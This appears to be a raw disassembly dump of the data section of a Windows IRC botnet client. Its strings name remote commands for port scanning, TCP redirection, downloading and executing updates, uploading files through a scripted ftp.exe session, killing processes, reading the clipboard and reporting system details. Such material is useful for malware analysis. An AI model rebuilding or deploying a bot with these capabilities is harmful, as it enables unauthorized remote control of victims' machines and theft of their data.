2 aCouldnTOpenF_0 db ' Couldn',27h,'t open file: %s',0 align 10h dword_41CC30 dd 273021Fh, 6C65681Fh, 0BB02206Ch, 4620BB02h, 20656C69h ; DATA XREF: sub_406BAB+27AFo dd 6E65706Fh, 203A6465h, 7325h unk_41CC50 db 1Fh ; DATA XREF: sub_406BAB+277Co db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_41CC78 dd 264021Fh, 20736E1Fh, 0BB02BB02h ; DATA XREF: sub_406BAB:loc_4092F9o aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 dword_41CCA0 dd 264021Fh, 20736E1Fh, 0BB02BB02h ; DATA XREF: sub_406BAB+2723o aLookupSS_ db ' Lookup: %s -> %s.',0 align 10h unk_41CCC0 db 1Fh ; DATA XREF: sub_406BAB:loc_40928Eo db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aFailedToTermin db ' Failed to terminate process: %s',0 align 10h unk_41CCF0 db 1Fh ; DATA XREF: sub_406BAB+26DCo db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aProcessKilledS db ' Process killed: %s',0 align 4 unk_41CD14 db 1Fh ; DATA XREF: sub_406BAB:loc_40922Do db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 align 4 unk_41CD48 db 1Fh ; DATA XREF: sub_406BAB+267Bo db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aProcessKilledI db ' Process killed ID: %s',0 dword_41CD6C dd 266021Fh, 656C691Fh, 2BB0220h, 654420BBh, 6574656Ch ; DATA XREF: sub_406BAB+260Co dd 25272064h, 2E2773h dword_41CD88 dd 26D021Fh, 6372691Fh, 2BB0220h, 6F4320BBh, 6E616D6Dh ; DATA XREF: sub_406BAB:loc_409167o dd 65732064h, 2E746Eh unk_41CDA4 db 1Fh ; DATA XREF: sub_406BAB+25B5o db 2, 6Dh, 2 db 1Fh db 69h, 72h, 63h db 20h db 2, 0BBh, 2 aClientNotOpen_ db ' Client not open.',0 align 4 unk_41CDC4 db 1Fh ; DATA XREF: sub_406BAB+2576o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aReadFileFailed db ' Read file failed: %s',0 align 4 unk_41CDE8 db 1Fh ; DATA XREF: sub_406BAB+2563o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aReadFileComple db ' Read file complete: %s',0 align 10h dword_41CE10 dd 26D021Fh, 6E69611Fh, 2BB0220h, 654720BBh, 736F6874h ; DATA XREF: sub_406BAB+24E0o dd 25203A74h, 2E73h unk_41CE2C db 1Fh ; DATA XREF: sub_406BAB:loc_409048o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aUnableToExtrac db ' Unable to extract Gethost command.',0 align 10h unk_41CE60 db 1Fh ; DATA XREF: sub_406BAB+2487o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 unk_41CE88 db 1Fh ; DATA XREF: sub_406BAB+2401o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_41CEA8 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_406BAB+236Bo dword_41CEB4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_406BAB+22EFo ; sub_406BAB+28C5o dword_41CEC0 dd 45444F4Dh, 0D732520h, 0Ah ; DATA XREF: sub_406BAB+22C0o unk_41CECC db 1Fh ; DATA XREF: sub_406BAB:loc_408E42o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_41CF04 dd 26D021Fh, 6E69611Fh, 2BB0220h, 655220BBh, 74616570h ; DATA XREF: sub_406BAB+225Co dd 7325203Ah, 0 dword_41CF20 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_406BAB+218Co ; sub_406BAB+2236o ... unk_41CF30 db 1Fh ; DATA XREF: sub_406BAB+2118o db 2, 75h, 2 db 1Fh db 70h, 64h, 61h db 74h ; t db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aBotIdMustBeDif db 'Bot ID must be different than current running process.',0 align 4 unk_41CF78 db 1Fh ; DATA XREF: sub_406BAB+20F0o db 2, 75h, 2 db 1Fh db 70h, 64h, 61h db 74h ; t db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aFailedToStartD db 'Failed to start download thread, error: <%d>.',0 align 4 unk_41CFB8 db 1Fh ; DATA XREF: sub_406BAB+2091o db 2, 75h, 2 db 1Fh db 70h, 64h, 61h db 74h ; t db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aDownloadingUpd db 'Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_406BAB+1FECo align 4 dword_41CFF4 dd 265021Fh, 6365781Fh, 2BB0220h, 6F4320BBh, 6E616D6Dh ; DATA XREF: sub_406BAB+1F88o dd 203A7364h, 7325h unk_41D010 db 1Fh ; DATA XREF: sub_406BAB+1F7Do db 2, 65h, 2 db 1Fh db 78h, 65h, 63h db 20h db 2, 0BBh, 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 dword_41D038 dd 266021Fh, 656C691Fh, 2BB0220h, 0BBh ; DATA XREF: sub_406BAB:loc_408A4Bo ; sub_406BAB:loc_4091BEo unk_41D048 db 1Fh ; DATA XREF: sub_406BAB+1E8Bo db 2, 66h, 2 db 1Fh db 69h, 6Ch, 65h db 20h db 2, 0BBh, 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_41D070 db 1Fh ; DATA XREF: sub_406BAB+1E2Bo db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 unk_41D0B0 db 1Fh ; DATA XREF: sub_406BAB+1DD2o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 10h unk_41D0E0 db 1Fh ; DATA XREF: sub_406BAB+1CD8o db 2, 72h, 2 db 1Fh db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 20h db 2, 0BBh, 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 unk_41D124 db 1Fh ; DATA XREF: sub_406BAB+1C7Fo db 2, 72h, 2 db 1Fh db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 20h db 2, 0BBh, 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 align 4 unk_41D164 db 1Fh ; DATA XREF: sub_406BAB+1B80o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 align 10h unk_41D1A0 db 1Fh ; DATA XREF: sub_406BAB+1AE1o ; sub_406BAB+1BD9o ... db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFailedToStar_3 db ' Failed to start scan thread, error: <%d>.',0 unk_41D1D8 db 1Fh ; DATA XREF: sub_406BAB+1A88o ; sub_406BAB+2B1Fo db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_406BAB+1A5Do ; sub_406BAB+2AF4o align 4 aRandom db 'Random',0 ; DATA XREF: sub_406BAB+1A56o ; sub_406BAB+2AEDo align 4 unk_41D254 db 1Fh ; DATA XREF: sub_406BAB+1915o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFailedToStar_4 db ' Failed to start scan, no IP specified.',0 align 4 unk_41D28C db 1Fh ; DATA XREF: sub_406BAB+18B5o ; sub_406BAB:loc_409789o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFailedToStar_5 db ' Failed to start scan, port is invalid.',0 align 4 unk_41D2C4 db 1Fh ; DATA XREF: sub_406BAB+17CBo ; sub_406BAB+2940o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 align 4 dword_41D304 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_406BAB:loc_4082F1o aUploadingFileS db ' Uploading file: %s to: %s failed.',0 align 4 dword_41D334 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_406BAB+173Fo aUploadingFil_0 db ' Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_406BAB+1726o aSS_4 db '-s:%s',0 ; DATA XREF: sub_406BAB+170Fo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_406BAB+16EFo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_406BAB+16C1o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_406BAB+16B0o align 4 dword_41D3A4 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_406BAB+1632o aFileNotFoundS_ db ' File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_406BAB+1608o align 10h aAas db 'aas',0 ; DATA XREF: sub_406BAB+15E6o aAss db 'ass',0 ; DATA XREF: sub_406BAB+15D1o aPsc db 'psc',0 ; DATA XREF: sub_406BAB+15AFo aPortscan db 'portscan',0 ; DATA XREF: sub_406BAB+159Ao align 4 aRd db 'rd',0 ; DATA XREF: sub_406BAB+1585o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_406BAB+1570o align 4 aKktt db 'kktt',0 ; DATA XREF: sub_406BAB+1546o ; sub_406BAB+155Bo align 10h aMv db 'mv',0 ; DATA XREF: sub_406BAB+1531o align 4 aRename db 'rename',0 ; DATA XREF: sub_406BAB+151Co align 4 aE: ; DATA XREF: sub_406BAB+1507o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_406BAB+14F2o aKkttupw db 'kkttupw',0 ; DATA XREF: sub_406BAB+14C8o ; sub_406BAB+14DDo aDelay db 'delay',0 ; DATA XREF: sub_406BAB+149Eo align 4 aRp db 'rp',0 ; DATA XREF: sub_406BAB+1489o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_406BAB+1474o ; sub_406BAB+2209o align 4 aM: ; DATA XREF: sub_406BAB+145Fo unicode 0, <m>,0 aMode db 'mode',0 ; DATA XREF: sub_406BAB+144Ao align 10h aCy db 'cy',0 ; DATA XREF: sub_406BAB+1435o align 4 aCycle db 'cycle',0 ; DATA XREF: sub_406BAB+1420o align 4 aA_0: ; DATA XREF: sub_406BAB+140Bo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_406BAB+13F6o align 4 aPm db 'pm',0 ; DATA XREF: sub_406BAB+13E1o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_406BAB+13CCo aAa db 'aa',0 ; DATA XREF: sub_406BAB+13B7o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_406BAB+13A2o align 4 aGh db 'gh',0 ; DATA XREF: sub_406BAB+137Bo align 4 aGethost db 'gethost',0 ; DATA XREF: sub_406BAB+1366o aRf db 'rf',0 ; DATA XREF: sub_406BAB+1351o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_406BAB+133Co align 10h aMirc_0 db 'mirc',0 ; DATA XREF: sub_406BAB+1327o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_406BAB+1312o aDel db 'del',0 ; DATA XREF: sub_406BAB+12FDo aDelete db 'delete',0 ; DATA XREF: sub_406BAB+12E8o align 4 aKi db 'ki',0 ; DATA XREF: sub_406BAB+12D3o align 10h aKill db 'kill',0 ; DATA XREF: sub_406BAB+12BEo align 4 aKp db 'kp',0 ; DATA XREF: sub_406BAB+12A9o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_406BAB+1294o align 4 aDn db 'dn',0 ; DATA XREF: sub_406BAB+127Fo align 4 aDns db 'dns',0 ; DATA XREF: sub_406BAB+126Ao aSew db 'sew',0 ; DATA XREF: sub_406BAB+1255o aServerw db 'serverw',0 ; DATA XREF: sub_406BAB+1240o aO: ; DATA XREF: sub_406BAB+122Bo unicode 0, <o>,0 aPrw db 'prw',0 ; DATA XREF: sub_406BAB+1201o aPrefixw db 'prefixw',0 ; DATA XREF: sub_406BAB+11ECo aK: ; DATA XREF: sub_406BAB+11D7o unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_406BAB+11C2o align 4 aRaw db 'raw',0 ; DATA XREF: sub_406BAB+1198o aPt db 'pt',0 ; DATA XREF: sub_406BAB+1183o align 4 aPart_0 db 'part',0 ; DATA XREF: sub_406BAB+116Eo align 4 aJ: ; DATA XREF: sub_406BAB+1159o unicode 0, <j>,0 aJoin db 'join',0 ; DATA XREF: sub_406BAB+1144o align 4 aN: ; DATA XREF: sub_406BAB+112Fo unicode 0, <n>,0 aNick_0 db 'nick',0 ; DATA XREF: sub_406BAB+111Ao align 4 aAlls db 'alls',0 ; DATA XREF: sub_406BAB+10DEo ; sub_406BAB+10F3o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_406BAB+10C9o align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_406BAB+10B4o align 10h aCip db 'cip',0 ; DATA XREF: sub_406BAB+109Fo aCurrentip db 'currentip',0 ; DATA XREF: sub_406BAB+108Ao align 10h aFdns db 'fdns',0 ; DATA XREF: sub_406BAB+1075o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_406BAB+1060o align 4 aFarp db 'farp',0 ; DATA XREF: sub_406BAB+104Bo align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_406BAB+1036o align 4 aGc db 'gc',0 ; DATA XREF: sub_406BAB+1021o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_406BAB+100Co unk_41D584 db 1Fh ; DATA XREF: sub_406BAB+1001o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_406BAB+FCDo ; sub_40AB11+46o align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_406BAB+FC0o aLoginList db '-[Login List]-',0 ; DATA XREF: sub_406BAB+F9Eo align 4 aWho db 'who',0 ; DATA XREF: sub_406BAB+F85o aDrv db 'drv',0 ; DATA XREF: sub_406BAB+F70o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_406BAB+F5Bo align 4 aUp db 'up',0 ; DATA XREF: sub_406BAB+F46o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_406BAB+F31o align 4 aPs db 'ps',0 ; DATA XREF: sub_406BAB+F1Co align 4 aProcs db 'procs',0 ; DATA XREF: sub_406BAB+F07o align 4 aRrmm010kt db 'rrmm010kt',0 ; DATA XREF: sub_406BAB+EDDo ; sub_406BAB+EF2o align 10h aSi db 'si',0 ; DATA XREF: sub_406BAB+EC8o align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_406BAB+EB3o aNi db 'ni',0 ; DATA XREF: sub_406BAB+E9Eo align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_406BAB+E89o aAl db 'al',0 ; DATA XREF: sub_406BAB+E74o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_406BAB+E5Fo aT: ; DATA XREF: sub_406BAB+E4Ao unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_406BAB+E35o unk_41D630 db 1Fh ; DATA XREF: sub_406BAB+E01o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aFailedToReboot db ' Failed to reboot system.',0 align 4 unk_41D658 db 1Fh ; DATA XREF: sub_406BAB+DFAo db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aRebootingSyste db ' Rebooting system.',0 aReboot db 'reboot',0 ; DATA XREF: sub_406BAB+DE3o align 10h aIdw db 'idw',0 ; DATA XREF: sub_406BAB+DB9o ; sub_406BAB+DCEo aS_2: ; DATA XREF: sub_406BAB+DA4o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_406BAB+D8Fo align 10h aQ: ; DATA XREF: sub_406BAB+D7Ao unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_406BAB+D65o align 4 aD: ; DATA XREF: sub_406BAB+D50o unicode 0, <d>,0 aDisconnect db 'disconnect',0 ; DATA XREF: sub_406BAB+D3Bo align 4 aR: ; DATA XREF: sub_406BAB+D26o ; sub_406BAB+11ADo ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_406BAB+D11o align 4 aStats db 'stats',0 ; DATA XREF: sub_406BAB+CFCo align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_406BAB+CE7o align 10h aRooting db 'Rooting',0 ; DATA XREF: sub_406BAB+CDCo aProcess db 'process',0 ; DATA XREF: sub_406BAB+CD7o aScanstop db 'scanstop',0 ; DATA XREF: sub_406BAB+CBEo align 4 aSecure_0 db 'SECURE ',0 ; DATA XREF: sub_406BAB+CB3o align 4 aSecure db 'Secure',0 ; DATA XREF: sub_406BAB+CAEo align 10h aSecurestop db 'securestop',0 ; DATA XREF: sub_406BAB+C95o align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_406BAB+C80o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_406BAB+C6Bo align 10h aTftp_0 db 'TFTP ',0 ; DATA XREF: sub_406BAB+C60o align 4 aServer db 'Server',0 ; DATA XREF: sub_406BAB+C5Bo align 10h aTftpstop db 'tftpstop',0 ; DATA XREF: sub_406BAB+C42o align 4 aRedirect_0 db 'REDIRECT ',0 ; DATA XREF: sub_406BAB+C37o align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_406BAB+C32o align 4 aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_406BAB+C19o align 4 aLog db 'LOG ',0 ; DATA XREF: sub_406BAB+C0Eo align 10h aLogList db 'Log list',0 ; DATA XREF: sub_406BAB+C09o align 4 aLogstop db 'logstop',0 ; DATA XREF: sub_406BAB+BF0o aLo db 'lo',0 ; DATA XREF: sub_406BAB+BDBo align 4 aLogout db 'logout',0 ; DATA XREF: sub_406BAB+BC6o align 10h aDe db 'de',0 ; DATA XREF: sub_406BAB+BB1o ; sub_406BAB+14B3o align 4 aDie db 'die',0 ; DATA XREF: sub_406BAB+B9Co aRn db 'rn',0 ; DATA XREF: sub_406BAB+B87o align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_406BAB+B72o a63 db '63',0 ; DATA XREF: sub_406BAB+A5Fo align 4 asc_41D7A8: ; DATA XREF: sub_406BAB+A40o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_406BAB+A0Co align 4 aServer_1 db '$server',0 ; DATA XREF: sub_406BAB+A01o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_406BAB+9F0o align 4 aChan db '$chan',0 ; DATA XREF: sub_406BAB+9D7o align 10h aUser_2 db '$user',0 ; DATA XREF: sub_406BAB+9C6o align 4 aMe db '$me',0 ; DATA XREF: sub_406BAB+9B4o aD_0 db '$%d',0 ; DATA XREF: sub_406BAB+94Co aD_1 db '$%d-',0 ; DATA XREF: sub_406BAB+8AEo align 4 dword_41D7E8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_406BAB+840o dd 0A0Dh dword_41D800 dd 4E495001h, 47h ; DATA XREF: sub_406BAB+80Co dword_41D808 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_406BAB+801o dd 0D017325h, 0Ah dword_41D824 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_406BAB+7D0o dword_41D830 dd 77h ; DATA XREF: sub_406BAB+68Eo ; sub_406BAB+6A3o dword_41D834 dd 323333h ; DATA XREF: sub_406BAB+601o ; sub_406BAB+6C5o ... unk_41D838 db 1Fh ; DATA XREF: sub_406BAB+582o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aUserSLoggedOut db ' User: %s logged out.',0 align 4 a353 db '353',0 ; DATA XREF: sub_406BAB+532o aPart db 'PART',0 ; DATA XREF: sub_406BAB+4E4o ; sub_406BAB+59Fo align 4 aSS_0 db ':%s%s',0 ; DATA XREF: sub_406BAB+4BCo align 10h aNick db 'NICK',0 ; DATA XREF: sub_406BAB+3A8o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+34Bo ; sub_406BAB+5C3o unk_41D888 db 1Fh ; DATA XREF: sub_406BAB+332o ; sub_406BAB+32B9o ... db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_406BAB+2CFo align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+278o ; sub_406BAB+28E1o ... align 10h a433 db '433',0 ; DATA XREF: sub_406BAB+250o a@: ; DATA XREF: sub_406BAB+225o unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_406BAB+215o a005 db '005',0 ; DATA XREF: sub_406BAB+200o a001 db '001',0 ; DATA XREF: sub_406BAB+1EBo aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+1CFo ; sub_406BAB+395o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+1AEo align 10h aPing db 'PING',0 ; DATA XREF: sub_406BAB+194o align 4 asc_41D8F8: ; DATA XREF: sub_406BAB+185o ; sub_406BAB+33ADo unicode 0, <!>,0 asc_41D8FC: ; DATA XREF: sub_406BAB+A1o ; sub_406BAB+B16o unicode 0, < >,0 asc_41D900 db ' :',0 ; DATA XREF: sub_406BAB+7Fo ; sub_406BAB:loc_4073F5o align 4 aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40A0F0+39o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40A1F9+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40A1F9+1AEo align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40A1F9+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40A1F9:loc_40A35Do align 4 aSS_1 db '%s (%s)',0 ; DATA XREF: sub_40A1F9+EBo a2003 db '2003',0 ; DATA XREF: sub_40A1F9+BAo align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40A4AD+ABo align 4 off_41DA68 dd offset loc_412F4D+1 ; DATA XREF: sub_40A4AD:loc_40A521o dword_41DA6C dd 4E414Ch ; DATA XREF: sub_40A4AD:loc_40A51Ao dword_41DA70 dd 6C616944h, 70752Dh ; DATA XREF: sub_40A4AD+5Eo dword_41DA78 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40A4AD+48o dword_41DA88 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_40A573+47Do unk_41DA94 db 1Fh ; DATA XREF: sub_40A573+3B6o db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aFileNotFoundSS db ' File not found: %s (%s).',0 align 4 dword_41DABC dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_40A573+399o dword_41DAD0 dd 21F5B1Fh, 64643168h, 1F026E33h, 0BB201F5Dh, 2520BBBBh ; DATA XREF: sub_40A573+344o dd 72202C73h, 696E6E75h, 2520676Eh, 73h unk_41DAF4 db 1Fh ; DATA XREF: sub_40A573+15Ao db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aFailedToOpenFi db ' Failed to open file: %s.',0 align 4 unk_41DB1C db 1Fh ; DATA XREF: sub_40A573+6Ao db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_40A573+Fo align 4 aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_40AB11+10o aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_40ACDC+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40ACDC+35o align 10h dword_41DBB0 dd 7A493C5Ah ; DATA XREF: sub_40B545+4w sub_40B54Fr ... align 10h dword_41DBC0 dd 173Fh ; DATA XREF: sub_40B7DA+Dr dd 9875h, 9873h off_41DBCC dd offset sub_40B8A9 ; DATA XREF: sub_40D118r dd offset nullsub_2 dd offset nullsub_2 dword_41DBD8 dd 1B3Fh ; DATA XREF: sub_40B923+Dr dword_41DBDC dd 19930520h, 4 dup(0) ; DATA XREF: sub_40BDA5+2o ; sub_40BDAE+2o off_41DBF0 dd offset sub_40D156 ; DATA XREF: sub_40D60A+1Cr dword_41DBF4 dd 2 ; DATA XREF: sub_413004+Er ; sub_41303D+46r ... off_41DBF8 dd offset aNull_0 ; DATA XREF: sub_40D768:loc_40DACCr ; sub_40D768+457r ; "(null)" off_41DBFC dd offset aNull ; DATA XREF: sub_40D768+259r ; "(null)" dword_41DC00 dd 0D2D0920h, 5Dh ; DATA XREF: sub_40DF72:loc_40E4D9o dword_41DC08 dd 5Dh, 10h ; DATA XREF: sub_40DF72:loc_40E3C9o off_41DC10 dd offset off_41DC10 ; DATA XREF: sub_40F757+Do ; sub_40F757+69o ... off_41DC14 dd offset off_41DC10 ; DATA XREF: sub_40F757:loc_40F7D7r ; sub_40F757+89w ... dd offset dword_41DC28 dd offset dword_41DC28 dword_41DC20 dd 0FFFFFFFFh ; DATA XREF: sub_40F757r ; sub_40F89B:loc_40F8E8w dd 0FFFFFFFFh dword_41DC28 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .nsp0:0041DC18o ; .nsp0:0041DC1Co off_41FC30 dd offset off_41DC10 ; DATA XREF: sub_40F89B+15r ; sub_40F89B+20w ... dword_41FC34 dd 1E0h ; DATA XREF: sub_40B6FD:loc_40B739r ; sub_40C4F8+185r ... dword_41FC38 dd 14h ; DATA XREF: sub_410487+2o off_41FC3C dd offset aExp ; DATA XREF: sub_410487:loc_4104A4r ; "exp" dd 1Dh, 417794h, 1Ah, 417790h, 1Bh, 417788h, 1Fh, 417780h dd 13h, 417778h, 21h, 417770h, 0Eh, 417768h, 0Dh, 417760h dd 0Fh, 417758h, 10h, 417750h, 5, 417748h, 1Eh, 417744h dd 12h, 417740h, 20h, 41773Ch, 0Ch, 417734h, 0Bh, 41772Ch dd 15h, 417724h, 1Ch, 41771Ch, 19h, 417714h, 11h, 41770Ch dd 18h, 417704h, 16h, 4176FCh, 17h, 4176F4h, 22h, 4176F0h dd 23h, 4176ECh, 24h, 4176E8h dbl_41FD10 dq 1.797693134862316e308 ; DATA XREF: sub_4101C2+B7r ; sub_4101C2:loc_4102A9r ... dd 0 dd 0FFF80000h dbl_41FD20 dq 1.797693134862316e308 ; DATA XREF: sub_4101C2+92r ; sub_4101C2:loc_410281r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_41FD38 dt 2.3562723457267347066e313 ; DATA XREF: sub_41066F+Dr ; sub_41066F+1Fr align 4 tbyte_41FD44 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41066F+31r align 10h off_41FD50 dd offset sub_410B03 ; DATA XREF: sub_40B8C1+Fw ; sub_40D768+3AAr off_41FD54 dd offset sub_410798 ; DATA XREF: sub_40B8C1+5w ; sub_40D768+3E2r off_41FD58 dd offset sub_4107FE ; DATA XREF: sub_40B8C1+14w ; sub_40DF72+430r off_41FD5C dd offset sub_41073E ; DATA XREF: sub_40B8C1+1Ew ; sub_40D768+3CBr off_41FD60 dd offset sub_4107E6 ; DATA XREF: sub_40B8C1+28w off_41FD64 dd offset sub_410B03 ; DATA XREF: sub_40B8C1+32w dd offset sub_413D3C dd 0 dd offset sub_4113CC off_41FD74 dd offset sub_4113CC ; DATA XREF: sub_411422+29r 